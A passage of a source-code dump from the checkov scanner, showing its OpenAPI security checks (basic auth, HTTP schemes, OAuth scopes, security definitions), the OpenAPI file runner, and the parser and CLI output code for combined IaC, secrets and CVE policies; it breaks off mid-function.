    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass OperationObjectSecurityScopeUndefined(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_9\"\n        name = \"Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get(\"paths\") or {}\n        security_definitions = conf.get('securityDefinitions') or {}\n        if not isinstance(paths, dict):\n            return CheckResult.UNKNOWN, conf\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if not isinstance(operation_dict, dict):\n                    return CheckResult.UNKNOWN, conf\n                op_security = operation_dict.get('security', [{}])\n                for security in op_security:\n                    if not isinstance(security, dict):\n                        return CheckResult.UNKNOWN, conf\n                    for auth_key, auth_scopes in security.items():\n                        if self.is_start_end_line(auth_key):\n                            continue\n                        if not isinstance(security_definitions, dict):\n                            return CheckResult.UNKNOWN, conf\n                        auth_definition = security_definitions.get(auth_key, {})\n                        if not auth_definition:\n                            return CheckResult.FAILED, conf\n                        if not isinstance(auth_definition, dict):\n                            return CheckResult.UNKNOWN, conf\n                        definition_type = auth_definition.get('type', {})\n                        if definition_type != \"oauth2\":\n                            continue\n                        definition_scopes = auth_definition.get('scopes', {})\n                        if not definition_scopes:\n                            return CheckResult.FAILED, conf\n                        if not isinstance(auth_scopes, list):\n                            return CheckResult.UNKNOWN, conf\n                        for scope in auth_scopes:\n                            if scope not in definition_scopes:\n                                return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = OperationObjectSecurityScopeUndefined()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass PathSchemeDefineHTTP(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        # https://learning.postman.com/docs/api-governance/api-definition/openapi2/#schemes-of-the-operation-have-http-scheme-defined\n        id = \"CKV_OPENAPI_7\"\n        name = \"Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions \" \\\n               \"are open to interception- version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = ['security']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get(\"paths\", {})\n        if not paths or not isinstance(paths, dict):\n            return CheckResult.UNKNOWN, conf\n\n        for path, http_method in paths.items():\n            if self.is_start_end_line(path) or not http_method or not isinstance(http_method, dict):\n                continue\n            for op_name, op_val in http_method.items():\n                if self.is_start_end_line(op_name):\n                    continue\n                if not isinstance(op_val, dict):\n                    continue\n                schemes = op_val.get('schemes')\n                if schemes and 'http' in schemes:\n                    return CheckResult.FAILED, conf\n            # If the schemes is not included, the default scheme to be used is the one used to access the Swagger\n            # definition itself, in which case the current check is not relevant.\n\n        return CheckResult.PASSED, conf\n\n\ncheck = PathSchemeDefineHTTP()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass SecurityDefinitionBasicAuth(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_13\"\n        name = \"Ensure security definitions do not use basic auth - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"securityDefinitions\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_definitions = conf.get('securityDefinitions') or {}\n        if not isinstance(security_definitions, dict):\n            return CheckResult.UNKNOWN, conf\n\n        for auth_key, auth_dict in security_definitions.items():\n            if self.is_start_end_line(auth_key):\n                continue\n            if not isinstance(auth_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            auth_type = auth_dict.get('type', '')\n            if auth_type.lower() == 'basic':\n                return CheckResult.FAILED, auth_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = SecurityDefinitionBasicAuth()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/SecurityDefinitions.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass SecurityDefinitions(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_1\"\n        name = \"Ensure that securityDefinitions is defined and not empty - version 2.0 files\"\n        categories = (CheckCategories.API_SECURITY,)\n        supported_resources = ('securityDefinitions',)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.evaluated_keys = [\"securityDefinitions\"]\n        if \"securityDefinitions\" not in conf:\n            return CheckResult.FAILED, conf\n\n        security_definitions = conf[\"securityDefinitions\"]\n        if not security_definitions or (not isinstance(security_definitions, DictNode) and len(security_definitions) <= 2):\n            return CheckResult.FAILED, security_definitions\n        return CheckResult.PASSED, security_definitions\n\n\ncheck = SecurityDefinitions()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/SecurityRequirement.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass SecurityRequirement(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_6\"\n        name = \"Ensure that security requirement defined in securityDefinitions - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"security\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.evaluated_keys = [\"securityDefinitions\"]\n        if \"securityDefinitions\" not in conf:\n            return CheckResult.FAILED, conf\n\n        security_definitions = conf[\"securityDefinitions\"]\n        if not self.check_security_conf(conf, security_definitions):\n            return CheckResult.FAILED, conf[\"security\"]\n\n        if \"paths\" not in conf:\n            return CheckResult.FAILED, conf\n        paths = conf[\"paths\"]\n        if not isinstance(paths, dict):\n            return CheckResult.FAILED, conf\n\n        for path, http_method in paths.items():\n            if self.is_start_end_line(path) or not http_method:\n                continue\n            for op_name, op_val in http_method.items():\n                if self.is_start_end_line(op_name):\n                    continue\n                if not isinstance(op_val, dict):\n                    return CheckResult.FAILED, conf\n                if not self.check_security_conf(op_val, security_definitions):\n                    return CheckResult.FAILED, op_val[\"security\"]\n\n        return CheckResult.PASSED, conf\n\n    def check_security_conf(self, conf: dict[str, Any], security_definitions: dict[str, Any]) -> bool:\n        self.evaluated_keys = [\"security\"]\n        return not (\n            \"security\" in conf\n            and conf[\"security\"]\n            and not self.is_requirements_defined(conf[\"security\"], security_definitions)\n        )\n\n    def is_requirements_defined(self, security: list[dict[str, Any]], security_definitions: dict[str, Any]) -> bool:\n        for scheme in security:\n            if not isinstance(scheme, dict):\n                return False\n            for scheme_type, _ in scheme.items():\n                if scheme_type not in security_definitions:\n                    return False\n        return True\n\n\ncheck = SecurityRequirement()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v3/BaseOpenapiCheckV3.py",
    "content": "from __future__ import annotations\n\nfrom typing import Iterable, Any\nfrom abc import abstractmethod\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass BaseOpenapiCheckV3(BaseOpenapiCheck):\n    def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str],\n                 block_type: str) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n\n    @abstractmethod\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        raise NotImplementedError()\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        if \"openapi\" in conf:\n            openapi = conf.get(\"openapi\")\n            if isinstance(openapi, str) and openapi.startswith(\"3.\"):\n                return self.scan_openapi_conf(conf, entity_type)\n        return CheckResult.UNKNOWN, conf\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v3.BaseOpenapiCheckV3 import BaseOpenapiCheckV3\n\n\nclass CleartextCredsOverUnencryptedChannel(BaseOpenapiCheckV3):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_3\"\n        name = \"Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"components\"]\n        self.irrelevant_keys = ['__startline__', '__endline__']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        components = conf.get(\"components\", {}) or {}\n        security_schemes = components.get(\"securitySchemes\", {}) or {}\n        paths = conf.get('paths', {}) or {}\n\n        if isinstance(security_schemes, list):\n            security_schemes = security_schemes[0]\n        for name, security_scheme in security_schemes.items():\n            if name in self.irrelevant_keys:\n                continue\n            if isinstance(security_scheme, dict) and (security_scheme.get('type') == 'http' and security_scheme.get('scheme') == 'basic'):\n                return CheckResult.FAILED, security_scheme\n\n        if not isinstance(paths, dict):\n            return CheckResult.PASSED, security_schemes\n        for key, path in paths.items():\n            if not path:\n                continue\n            if key in self.irrelevant_keys:\n                continue\n            for operation in path:\n                if not isinstance(operation, dict):\n                    continue\n                if operation.get('security'):\n                    return CheckResult.FAILED, security_schemes\n\n        return CheckResult.PASSED, conf\n\n\ncheck = CleartextCredsOverUnencryptedChannel()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v3/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/openapi/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections.abc import Iterable\nfrom typing import Any, Callable, TYPE_CHECKING  # noqa: F401  # Callable is used in the TypeAlias\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\nfrom checkov.json_doc.runner import Runner as JsonRunner\nfrom pathlib import Path\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeAlias\n\n_ParseFormatCallable: TypeAlias = \"Callable[[str, str | None], tuple[dict[str, Any] | list[dict[str, Any]] | None, list[tuple[int, str]] | None] | None]\"\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\nclass Runner(YamlRunner, JsonRunner):\n    check_type = CheckType.OPENAPI  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.file_extensions = [\".json\", \".yml\", \".yaml\"]\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.openapi.checks.registry import openapi_registry\n\n        return openapi_registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if f.endswith(\".json\"):\n            return Runner.parse_format(f, JsonRunner._parse_file)\n        elif f.endswith(\".yml\") or f.endswith(\".yaml\"):\n            return Runner.parse_format(f, YamlRunner._parse_file)\n        return None\n\n    @staticmethod\n    def parse_format(\n        f: str, func: _ParseFormatCallable\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        try:\n            content = Runner.load_file(f)\n            valid_openapi_file = Runner.pre_validate_file(content)\n            if not valid_openapi_file:\n                return None\n\n            parsed_file = func(f, content)\n\n            if isinstance(parsed_file, tuple) and Runner.is_valid(parsed_file[0]):\n                return parsed_file  # type:ignore[return-value]  # is_valid checks for being not empty\n        except ValueError:\n            logger.debug(f\"Could not parse {f}, skipping file\", exc_info=True)\n        return None\n\n    def get_start_end_lines(\n        self, end: int, result_config: dict[str, Any] | list[dict[str, Any]], start: int\n    ) -> tuple[int, int]:\n        start_end_line: tuple[int, int]\n        if hasattr(result_config, \"start_mark\"):\n            start_end_line = JsonRunner.get_start_end_lines(self, end, result_config, start)  # type:ignore[arg-type]\n            return start_end_line\n        elif \"__startline__\" in result_config or isinstance(result_config, list):\n            start_end_line = YamlRunner.get_start_end_lines(self, end, result_config, start)\n            return start_end_line\n\n        raise Exception(\"Unexpected dictionary format.\")\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    @staticmethod\n    def is_valid(conf: dict[str, Any] | list[dict[str, Any]] | None) -> bool:\n        \"\"\"validate openAPI configuration.\"\"\"\n        # 'swagger' is a required element on v2.0, and 'openapi' is required on v3.\n        # 'info' object is required in v2.0 and v3:\n        # https://swagger.io/specification/v2/#schema\n        # https://swagger.io/specification/#schema\n        try:\n            return bool(\n                conf\n                and isinstance(conf, dict)\n                and (\"swagger\" in conf or \"openapi\" in conf)\n                and isinstance(conf[\"info\"], dict)\n            )\n        except Exception:\n            return False\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        return \",\".join(supported_entities)\n\n    @staticmethod\n    def load_file(filename: str | Path) -> str:\n        content = read_file_with_any_encoding(file_path=filename)\n        return content\n\n    @staticmethod\n    def pre_validate_file(file_content: str) -> bool:\n        openapi_keywords = [\"swagger\", \"openapi\"]\n        match = any(keyword in file_content for keyword in openapi_keywords)\n        if match:\n            return True\n        return False\n"
  },
  {
    "path": "checkov/policies_3d/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/policies_3d/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/policies_3d/checks_infra/base_check.py",
    "content": "from __future__ import annotations\n\nfrom typing import Optional, Dict, Any, TYPE_CHECKING\n\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.policies_3d.syntax.syntax import Predicament\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.severities import Severity\n    from checkov.policies_3d.runner import CVECheckAttribute\n\n\nclass Base3dPolicyCheck:\n    def __init__(self) -> None:\n        self.id = \"\"\n        self.bc_id = \"\"\n        self.name = \"\"\n        self.category = \"\"\n        self.type: Optional[SolverType] = None\n        self.guideline: Optional[str] = None\n        self.severity: Optional[Severity] = None\n        self.bc_category: Optional[str] = None\n        self.iac: Dict[str, Any] = {}\n        self.cve: Dict[CVECheckAttribute, Any] = {}\n        self.predicaments: list[Predicament] = []\n"
  },
  {
    "path": "checkov/policies_3d/checks_infra/base_parser.py",
    "content": "from __future__ import annotations\nfrom abc import abstractmethod\nfrom typing import Dict, Any\n\nfrom checkov.common.output.record import Record\nfrom checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck\nimport json\n\n\nclass Base3dPolicyCheckParser:\n    def __init__(self, raw_check: dict[str, Any] | None = None):\n        if not raw_check:\n            return\n\n        self.raw_check = raw_check\n\n        check_code = json.loads(raw_check.get('code', ''))\n        self.schema_version = check_code.get('version')\n        self.check_definition = check_code.get('definition')\n\n    @abstractmethod\n    def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> Base3dPolicyCheck:\n        pass\n\n    def _fill_check_metadata(self, check: Base3dPolicyCheck) -> None:\n        check.id = self.raw_check.get(\"id\", \"\")\n        check.name = self.raw_check.get(\"name\", \"\")\n        check.category = self.raw_check.get(\"category\", \"\")\n        check.guideline = self.raw_check.get(\"guideline\", \"\")\n\n    def parse(self, iac_records: list[Record] | None = None,\n              secrets_records: list[Record] | None = None,\n              cves_reports: list[dict[str, Any]] | None = None) -> Base3dPolicyCheck | None:\n        if self.schema_version == 'v1':\n            return self._parse_check_v1(iac_records or [], secrets_records or [], cves_reports or [])\n\n        return None\n\n    @abstractmethod\n    def _parse_check_v1(self, iac_records: list[Record], secrets_records: list[Record], cves_reports: list[dict[str, Any]]) -> Base3dPolicyCheck:\n        pass\n"
  },
  {
    "path": "checkov/policies_3d/checks_parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom enum import Enum\nfrom typing import Dict, Any\n\nfrom checkov.common.util.type_forcers import force_list\n\nfrom checkov.common.output.record import Record\nfrom checkov.policies_3d.checks_infra.base_parser import Base3dPolicyCheckParser\nfrom checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck\nfrom checkov.policies_3d.syntax.cves_syntax import RiskFactorCVEContains\nfrom checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals\nfrom checkov.policies_3d.syntax.syntax import Predicament, Predicate\nimport itertools\n\nSUPPORTED_LOGICAL_OPERATORS = ['and', 'or']\nSCA_CHECK_ID_PREFIXES = ['CKV_CVE_', 'BC_LIC_1', 'BC_LIC_2']\nSECRETS_CHECK_ID_PREFIXES = ['BC_GIT_']\n\n\nclass PredicateAttributes(str, Enum):\n    RISK_FACTOR = 'risk_factor'\n    VIOLATION_ID = 'violation_id'\n\n\nclass Policy3dParser(Base3dPolicyCheckParser):\n    def __init__(self, raw_check: dict[str, Any] | None = None,\n                 resource: str | None = None, records: list[Record] | None = None):\n        super().__init__(raw_check)\n        self.resource = resource\n        self.records = records\n\n    def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> Base3dPolicyCheck:\n        \"\"\"\n        Deprecated. used for the first version of 3D policies\n        \"\"\"\n        policy_definition = raw_check.get(\"definition\", {})\n        check = Base3dPolicyCheck()\n        check.iac = policy_definition.get('iac', {})\n        check.cve = policy_definition.get('cve', {})\n        check.id = raw_check.get(\"metadata\", {}).get(\"id\", \"\")\n        check.name = raw_check.get(\"metadata\", {}).get(\"name\", \"\")\n        check.category = raw_check.get(\"metadata\", {}).get(\"category\", \"\")\n        check.guideline = raw_check.get(\"metadata\", {}).get(\"guideline\")\n\n        return check\n\n    def _parse_check_v1(self, iac_records: list[Record], secrets_records: list[Record], cves_reports: list[dict[str, Any]]) -> Base3dPolicyCheck:\n        check = Base3dPolicyCheck()\n        self._fill_check_metadata(check)\n        check.predicaments = []\n\n        cves_definition: dict[str, Any] = {}\n        iac_definition: dict[str, Any] = {}\n        secrets_definition: dict[str, Any] = {}\n\n        for definition in self.check_definition:\n            if \"cves\" in definition.keys():\n                cves_definition = definition[\"cves\"]\n            elif \"iac\" in definition.keys():\n                iac_definition = definition[\"iac\"]\n            elif \"secrets\" in definition.keys():\n                secrets_definition = definition[\"secrets\"]\n\n        cve_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(cves_definition, cve_report) for cve_report in cves_reports]))\n        iac_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(iac_definition, iac_record) for iac_record in iac_records]))\n        secrets_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(secrets_definition, secrets_record) for secrets_record in secrets_records]))\n\n        # Generating all predicaments combinations while filtering empty lists\n        all_combinations = list(itertools.product(*filter(bool, [cve_predicaments, iac_predicaments, secrets_predicaments])))\n\n        for combination in all_combinations:\n            check.predicaments.append(\n                Predicament(\n                    logical_op='and',\n                    predicaments=[predicament for predicament in combination]\n                )\n            )\n\n        return check\n\n    @staticmethod\n    def _create_predicate(key: str, value: Any, record: Record | dict[str, Any]) -> Predicate | None:\n        if isinstance(record, dict):\n            # Specific to cve records passed as dicts\n            if key == PredicateAttributes.RISK_FACTOR:\n                return RiskFactorCVEContains(force_list(value), record)\n        elif isinstance(record, Record):\n            if key == PredicateAttributes.VIOLATION_ID:\n                return ViolationIdEquals(record, value)\n\n        logging.debug(f\"Unable to create predicate for unsupported key {key}\")\n        return None\n\n    def _create_module_predicament(self, policy_definition: dict[str, Any], record: Record | dict[str, Any]) -> Predicament | None:\n        if not policy_definition:\n            return None\n\n        top_level_logical_op = ''\n        if not any(op in policy_definition.keys() for op in SUPPORTED_LOGICAL_OPERATORS):\n            top_level_logical_op = 'and'\n\n        top_level_predicament = Predicament(logical_op=top_level_logical_op)\n\n        for key, value in policy_definition.items():\n            if key in SUPPORTED_LOGICAL_OPERATORS:\n                top_level_logical_op = key\n                top_level_predicament.logical_op = key\n            else:\n                predicate = self._create_predicate(key, value, record)\n                if predicate:\n                    top_level_predicament.predicates.append(predicate)\n\n        nested_definition = policy_definition.get(top_level_logical_op)\n        if not nested_definition:\n            return top_level_predicament\n\n        nested_logical_op = None\n        for definition in nested_definition:\n            for key, value in definition.items():\n                if key in SUPPORTED_LOGICAL_OPERATORS:\n                    nested_logical_op = key\n                else:\n                    predicate = self._create_predicate(key, value, record)\n                    if predicate:\n                        top_level_predicament.predicates.append(predicate)\n\n        nested_predicament = None\n        if nested_logical_op:\n            nested_definition = nested_definition[0][nested_logical_op]\n            if not isinstance(nested_definition, list):\n                return None\n\n            nested_predicament = Predicament(logical_op=nested_logical_op)\n            for definition in nested_definition:\n                for key, value in definition.items():\n                    predicate = self._create_predicate(key, value, record)\n                    if predicate:\n                        nested_predicament.predicates.append(predicate)\n\n        if nested_predicament:\n            top_level_predicament.predicaments.append(nested_predicament)\n\n        return top_level_predicament\n"
  },
  {
    "path": "checkov/policies_3d/output.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport sys\nfrom collections import defaultdict\nfrom typing import List, Dict, Any\n\nfrom colorama import Style\nfrom prettytable import PrettyTable, SINGLE_BORDER\nfrom termcolor import colored\n\nfrom checkov.common.bridgecrew.severities import BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record, DEFAULT_SEVERITY\nfrom checkov.common.output.common import compare_table_items_severity\nfrom checkov.policies_3d.record import Policy3dRecord\n\nTABLE_WIDTH = 138\n\n\ndef merge_line_with_previous_table(line: str, table: PrettyTable) -> str:\n    # hack to make multiple package tables look like one\n    line = line.replace(table.top_junction_char, table.junction_char)\n    line = line.replace(table.top_left_junction_char, table.left_junction_char)\n    line = line.replace(table.top_right_junction_char, table.right_junction_char)\n    return line\n\n\ndef create_iac_code_blocks_output(record: Policy3dRecord) -> str:\n    suppress_comment = \"\"\n    check_message = colored('Check: {}: \"{}\"\\n'.format(record.get_output_id(use_bc_ids=True), record.check_name),\n                            \"white\")\n    guideline_message = Record.get_guideline_string(record.guideline)\n    severity_message = f'\\tSeverity: {record.severity.name}\\n' if record.severity else ''\n    resource_blocks = ''\n    resource_block_ids = set()\n\n    for iac_record in record.iac_records:\n        resource_id = f'{iac_record.file_path}:{iac_record.resource}'\n        if resource_id in resource_block_ids:\n            # no need to print the same resource block twice\n            continue\n\n        resource_details = colored(f'\\n\\tResource: {iac_record.file_path}:{iac_record.resource}', attrs=['bold'])\n        code_lines = Record.get_code_lines_string(iac_record.code_block)\n        detail = Record.get_details_string(iac_record.details)\n        caller_file_details = Record.get_caller_file_details_string(iac_record.caller_file_path, iac_record.caller_file_line_range)\n        evaluation_message = Record.get_evaluation_string(iac_record.evaluations, iac_record.code_block)\n\n        resource_blocks += f'{detail}{caller_file_details}{resource_details}{code_lines}{evaluation_message}'\n        resource_block_ids.add(resource_id)\n\n    if record.check_result[\"result\"] == CheckResult.FAILED and resource_blocks:\n        return f\"{check_message}{severity_message}{guideline_message}{resource_blocks}\"\n\n    if record.check_result[\"result\"] == CheckResult.SKIPPED:\n        return f\"{check_message}{severity_message}{suppress_comment}{guideline_message}\"\n    else:\n        return f\"{check_message}{severity_message}{guideline_message}\"\n\n\ndef create_cli_output(*records: list[Policy3dRecord]) -> str:\n    cli_outputs = []\n\n    for record in itertools.chain(*records):\n        iac_code_blocks_output = create_iac_code_blocks_output(record)\n        if iac_code_blocks_output:\n            cli_outputs.append(iac_code_blocks_output + Style.RESET_ALL)\n\n        iac_violations_table = render_iac_violations_table(record)\n        if iac_violations_table:\n            cli_outputs.append(iac_violations_table + Style.RESET_ALL)\n\n        cves_table = render_cve_output(record)\n        if cves_table:\n            cli_outputs.append(cves_table + Style.RESET_ALL)\n\n        secrets_table = ''  # noqa: F841\n        # TODO create a function for creating secrets table, when secrets get into 3d policies\n        # Table should have the columns: Secret, Secrety Type, Violation ID, Validation Status (value in red)\n\n    return \"\\n\".join(cli_outputs)\n\n\ndef render_cve_output(record: Policy3dRecord) -> str | None:\n    if not record.vulnerabilities:\n        #  this shouldn't happen\n        logging.error(f\"'vulnerabilities' is not set for {record.check_id}\")\n        return None\n\n    package_cves_details_map: dict[str, dict[str, Any]] = defaultdict(dict)\n\n    for cve in record.vulnerabilities:\n        image_name = cve.get('dockerImageName')\n        package_name = cve.get('packageName', '')\n        package_version = cve.get('packageVersion')\n        severity_str = cve.get('severity', BcSeverities.NONE).upper()\n\n        package_cves_details_map[package_name].setdefault(\"cves\", []).append(\n            {\n                \"id\": cve.get('cveId'),\n                \"severity\": severity_str\n            }\n        )\n\n        if package_name in package_cves_details_map:\n            package_cves_details_map[package_name][\"cves\"].sort(key=compare_table_items_severity, reverse=True)\n            package_cves_details_map[package_name][\"current_version\"] = package_version\n            package_cves_details_map[package_name][\"image_name\"] = image_name\n\n    if package_cves_details_map:\n        return (\n            create_cli_cves_table(\n                file_path=record.file_path,\n                package_details_map=package_cves_details_map,\n            )\n        )\n\n    return None\n\n\ndef create_cli_cves_table(file_path: str, package_details_map: Dict[str, Dict[str, Any]]) -> str:\n    columns = 5\n    column_width = int(TABLE_WIDTH / columns)\n\n    package_table_lines = create_package_overview_table_part(\n        table_width=TABLE_WIDTH, column_width=column_width, package_details_map=package_details_map\n    )\n\n    return (\n        Style.BRIGHT +\n        f\"\\tImage Referenced with Matching CVEs:\\n\"\n        f\"{''.join(package_table_lines)}\\n\" +\n        Style.RESET_ALL\n    )\n\n\ndef create_package_overview_table_part(\n        table_width: int, column_width: int, package_details_map: Dict[str, Dict[str, Any]]\n) -> List[str]:\n    package_table_lines: List[str] = []\n    package_table = PrettyTable(\n        min_table_width=table_width,\n        max_table_width=table_width\n    )\n    package_table.set_style(SINGLE_BORDER)\n    package_table.field_names = [\n        \"Image\",\n        \"Package\",\n        \"Current version\",\n        \"CVE ID\",\n        \"Severity\"\n    ]\n    for package_idx, (package_name, details) in enumerate(package_details_map.items()):\n        if package_idx > 0:\n            del package_table_lines[-1]\n            package_table.header = False\n            package_table.clear_rows()\n\n        for cve_idx, cve in enumerate(details[\"cves\"]):\n            col_image = \"\"\n            col_package = \"\"\n            col_current_version = \"\"\n            if cve_idx == 0:\n                col_image = details[\"image_name\"]\n                col_package = package_name\n                col_current_version = details[\"current_version\"]\n\n            package_table.add_row(\n                [\n                    col_image,\n                    col_package,\n                    col_current_version,\n                    cve[\"id\"],\n                    cve[\"severity\"]\n                ]\n            )\n\n        package_table.align = \"l\"\n        package_table.min_width = column_width\n        package_table.max_width = column_width\n\n        for line in package_table.get_string().splitlines(keepends=True):\n            if package_idx > 0:\n                # hack to make multiple package tables look like one\n                line = merge_line_with_previous_table(line, package_table)\n            package_table_lines.append(f\"\\t{line}\")\n\n    return package_table_lines\n\n\ndef render_iac_violations_table(record: Policy3dRecord) -> str | None:\n    if not record.iac_records:\n        #  this shouldn't happen\n        logging.error(f\"'iac_records' is not set for {record.check_id}\")\n        return None\n\n    resource_violation_details_map: dict[str, dict[str, Any]] = defaultdict(dict)\n\n    for iac_record in 